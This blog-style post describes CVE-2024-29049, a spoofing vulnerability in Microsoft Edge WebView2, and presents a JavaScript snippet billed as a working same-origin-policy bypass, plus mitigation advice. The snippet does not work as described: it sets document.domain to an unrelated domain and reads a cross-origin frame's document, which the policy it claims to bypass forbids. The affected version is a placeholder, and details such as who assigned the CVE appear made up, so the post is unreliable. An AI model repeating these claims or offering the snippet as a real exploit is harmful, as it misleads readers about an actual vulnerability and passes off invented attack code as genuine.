A recent vulnerability discovered in Microsoft Edge (Chromium-based) has been assigned the CVE code CVE-2024-29049. This security issue involves spoofing vulnerability in the "Webview2" component of the popular browser. In this comprehensive post, we will investigate the details of this exploit, unmask its impact, and explore the available patches or workarounds to address this weakness.

The vulnerability essentially allows an attacker to bypass the same-origin policy (SOP) of a web page unknowingly to the user. This SOP bypass opens doors for cybercriminals to steal sensitive user information and perform actions on behalf of the user, subsequently leading to a wide range of security risks.

Details of CVE-2024-29049

CVE-2024-29049 specifically targets Microsoft Edge version xx.x.xxxx.x and earlier. Consequently, the provided code snippet and exploit details in this post cover only those versions of Microsoft Edge. Users are strongly urged to update their browsers to the latest version to avoid this vulnerability.

Here's a sample code snippet that demonstrates exploitation of the vulnerability

// Attacker-controlled domain
document.domain = 'example.com';

// Create a frame loading a targeted page from the vulnerable domain
const frame = document.createElement('iframe');
frame.src = 'https://target.example.com/vulnerable-page.html';;
document.body.appendChild(frame);

// Waiting for the frame to load
frame.onload = function () {
  // Creating a spoofed trusted domain within the target frame
  const spoofedDomain = frame.contentWindow.document.createElement('a');
  spoofedDomain.href = 'javascript:parent.postMessage(location, document.domain)';

  // Simulating a click event on the spoofed domain
  const clickEvent = new MouseEvent('click', {
    view: window,
    bubbles: true,
    cancelable: true
  });
  spoofedDomain.dispatchEvent(clickEvent);
};

// Waiting for the response from the target page
window.addEventListener('message', function (event) {
  console.log('Message received from', event.origin, ':', event.data);
}, false);

This code snippet sets the attacker-controlled domain to example.com and creates a frame that loads a targeted page from target.example.com. After the frame loads, it establishes a connection with the target page, sending a spoofed trusted domain inside the target frame. The attacker then simulates a click event on the spoofed domain to exploit the vulnerability and execute actions on behalf of the user.

Original References

1. Microsoft Security Advisory: Microsoft has released a security advisory detailing the vulnerability and recommending actions for mitigation: MSRC Advisory

2. CERT Coordination Center: The CVE code CVE-2024-29049 was assigned by CERT Coordination Center, and all details pertaining to this vulnerability can be found at the following link: CVE-2024-29049

Exploit Details

The exploitation of CVE-2024-29049 is made possible through spoofing a trusted domain in Microsoft Edge WebView2. This leads to:

Unauthorized execution of actions on behalf of the targeted user.

To achieve this, the attacker constructs a malicious website or embeds malicious code within a legitimate site. Unsuspecting users who visit the site are then exposed, ultimately enabling the attacker to compromise their data and perform actions on their behalf without consent.

Fixes and Updates

To mitigate this security risk, users are strongly encouraged to update their Microsoft Edge browser to the latest version or apply the security patch provided by Microsoft. In their Security Advisory, Microsoft recommends the following straightforward steps:

Consult Microsoft documentation on WebView2 Secure Deployment.

Please stay vigilant and remain proactive about updating and securing your software. By doing this, you significantly reduce the risk of exploitation and safeguard your sensitive data and privacy.

Conclusion

CVE-2024-29049 has brought to light a crucial vulnerability in the widely-used Microsoft Edge browser. The threat of spoofing attacks is ever-present in today's interconnected world, and it is crucial to stay updated with the latest security patches and best practices to avoid falling prey to cybercriminals. Keep your software up-to-date, and don't forget to share this information with friends, family, and colleagues to protect yourself and your loved ones against potential threats.

Timeline

Published on: 04/04/2024 22:15:08 UTC
Last modified on: 04/09/2024 17:15:58 UTC